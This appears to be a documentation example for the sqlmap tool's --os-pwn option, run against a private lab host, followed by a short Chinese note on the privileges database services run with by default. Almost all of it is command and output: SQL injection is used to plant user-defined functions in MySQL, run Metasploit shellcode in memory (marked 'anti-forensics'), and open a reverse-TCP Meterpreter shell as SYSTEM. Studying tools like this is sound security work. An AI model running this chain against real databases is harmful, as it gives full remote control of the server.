01 $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
02
03 [...]
04 [hh:mm:31] [INFO] the back-end DBMS is MySQL
05 web server operating system: Windows 2003
06 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
07 back-end DBMS: MySQL 5.0
08 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
09 [hh:mm:31] [INFO] the back-end DBMS operating system is Windows
10 how do you want to establish the tunnel?
11 [1] TCP: Metasploit Framework (default)
12 [2] ICMP: icmpsh - ICMP tunneling
13 >
14 [hh:mm:32] [INFO] testing if current user is DBA
15 [hh:mm:32] [INFO] fetching current user
16 what is the back-end database management system architecture?
17 [1] 32-bit (default)
18 [2] 64-bit
19 >
20 [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
21 [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
22 [hh:mm:33] [INFO] detecting back-end DBMS version from its banner
23 [hh:mm:33] [INFO] retrieving MySQL base directory absolute path
24 [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
25 [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
26 how do you want to execute the Metasploit shellcode on the back-end database underlying
27 operating system?
28 [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
29 [2] Stand-alone payload stager (file system way)
30 >
31 [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
32 which connection type do you want to use?
33 [1] Reverse TCP: Connect back from the database host to this machine (default)
34 [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
35 between the specified and 65535
36 [3] Bind TCP: Listen on the database host for a connection
37 >
38 which is the local address? [192.168.136.1]
39 which local port number do you want to use? [60641]
40 which payload do you want to use?
41 [1] Meterpreter (default)
42 [2] Shell
43 [3] VNC
44 >
45 [hh:mm:40] [INFO] creation in progress ... done
46 [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
47
48                                 _
49                                 | |      o
50 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
51 / |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |
52 |  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
53                         /|
54                         |
55
56     =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
57 + -- --=[ 674 exploits - 351 auxiliary
58 + -- --=[ 217 payloads - 27 encoders - 8 nops
59     =[ svn r12272 updated 4 days ago (2011.04.07)
60
61 PAYLOAD => windows/meterpreter/reverse_tcp
62 EXITFUNC => thread
63 LPORT => 60641
64 LHOST => 192.168.136.1
65 [*] Started reverse handler on 192.168.136.1:60641
66 [*] Starting the payload handler...
67 [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
68 please wait..
69 [*] Sending stage (749056 bytes) to 192.168.136.129
70 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
71 hh:mm:52 +0100 2011
72
73 meterpreter > Loading extension espia...success.
74 meterpreter > Loading extension incognito...success.
75 meterpreter > [-] The 'priv' extension has already been loaded.
76 meterpreter > Loading extension sniffer...success.
77 meterpreter > System Language : en_US
78 OS              : Windows .NET Server (Build 3790, Service Pack 2).
79 Computer        : W2K3R2
80 Architecture    : x86
81 Meterpreter     : x86/win32
82 meterpreter > Server username: NT AUTHORITYSYSTEM
83 meterpreter > ipconfig
84
85 MS TCP Loopback interface
86 Hardware MAC: 00:00:00:00:00:00
87 IP Address  : 127.0.0.1
88 Netmask     : 255.0.0.0
89
90 Intel(R) PRO/1000 MT Network Connection
91 Hardware MAC: 00:0c:29:fc:79:39
92 IP Address  : 192.168.136.129
93 Netmask     : 255.255.255.0
94
95 meterpreter > exit
96
97 [*] Meterpreter session 1 closed.  Reason: User exit

默认情况下MySQL在Windows上以SYSTEM权限运行，PostgreSQL在Windows与Linux中是低权限运行，Microsoft SQL Server 2000默认是以SYSTEM权限运行，Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。